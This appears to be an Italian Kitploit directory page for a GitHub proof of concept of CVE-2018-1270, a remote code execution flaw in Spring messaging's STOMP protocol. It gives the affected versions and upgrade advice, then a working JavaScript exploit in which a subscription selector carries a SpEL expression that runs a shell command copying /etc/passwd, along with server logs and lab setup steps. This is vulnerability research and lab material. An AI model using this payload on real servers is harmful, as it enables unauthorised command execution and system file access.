Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2018-1270 — RCE nel protocollo STOMP di Spring messaging | Kitploit
Strumenti/GitHubGitHub/caledoniaproject/cve-2018-1270
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebApprendimento e FormazioneArchived
GitHubcaledoniaproject/cve-2018-1270

CVE-2018-1270

RCE nel protocollo STOMP di Spring messaging

Vedi Repository
1131828 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2018-1270 - Vulnerabilità di esecuzione codice SpEL in Spring messaging

Ieri Spring ha annunciato una vulnerabilità RCE, approfondiamo:

  • CVE-2018-1270: Remote Code Execution with spring-messaging

Versioni interessate

  • Spring Framework 5.0 to 5.0.4
  • Spring Framework 4.3 to 4.3.14

Questa vulnerabilità non ha requisiti ambientali. Se stai usando spring-messaging + websocket + STOMP, aggiorna il prima possibile all'ultima versione; se stai usando SpringBoot, aggiorna a 2.0.1.RELEASE.

Dettagli della vulnerabilità

In parole semplici, poiché StandardEvaluationContext ha troppi privilegi e può eseguire espressioni SpEL arbitrarie, la comunità ha aggiunto SimpleEvaluationContext dopo Spring 5.0.5 per implementare un data binding semplice, mantenendo la flessibilità ma senza introdurre rischi per la sicurezza.

spring-messaging fornisce il supporto per il protocollo STOMP, consentendo ai client di sottoscrivere messaggi e di usare un selettore per filtrarli, ad es.

Scarica lo strumento
root@kitploit:~
selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
    stompClient.subscribe('/topic/greetings', function() {}, {
        "selector": selector
    })
});

Quando ti sottoscrivi, Spring memorizza questo filtro e lo attiva quando il client riceve il messaggio, ad es.

root@kitploit:~
2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]

...

2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean

Screenshot del PoC

screenshot

L'analisi dettagliata della vulnerabilità verrà pubblicata in seguito.

Come utilizzare l'ambiente

Compila e avvia il server Spring Boot,

root@kitploit:~
mvn clean package
java -jar target/spring-boot-websocket-1.0.jar

Accedi - inserisci l'espressione per testare,

root@kitploit:~
http://localhost:8080

screenshot